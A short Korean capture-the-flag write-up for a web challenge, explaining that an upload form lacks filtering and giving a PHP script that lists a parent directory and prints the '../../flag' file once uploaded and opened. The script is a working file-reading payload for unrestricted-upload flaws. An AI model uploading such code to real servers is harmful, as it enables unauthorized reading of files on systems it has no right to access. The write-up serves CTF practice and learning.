입력 필드가 3개 있고 파일을 업로드할 수 있는 input이 있다. 아무 파일이나 업로드하고 다시 웹 소스를 보면,
어떤 필터링도 없이 그대로 올라감을 알 수 있다. 이 점을 이용해 파일 리스트를 보여주는 php 코드를 짠 뒤 서버에 업로드하고, 페이지로 접근해 본다.
이 디렉토리에는 플래그가 없으므로, 상위 디렉토리로 하나씩 순회하면서 찾아보면 ../..에 flag 파일이 있음을 알 수 있다. file_get_contents 함수를 사용해 플래그를 출력하면 된다.
<?php
if ($handle = opendir('../../')) {
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
echo "$entry\n";
}
}
closedir($handle);
}
$content = file_get_contents('../../flag');
echo $content;
?>
'ICEWALL' 카테고리의 다른 글
[Web] login-test-v2 / 200 (0) | 2019.07.22 |
---|---|
[Web] resume2 / 150 (0) | 2019.07.22 |
[Forensic] backdoor / 200 (0) | 2019.07.22 |
[Forensic] secret / 100 (0) | 2019.07.22 |
[Forensic] sniffing / 80 (0) | 2019.07.22 |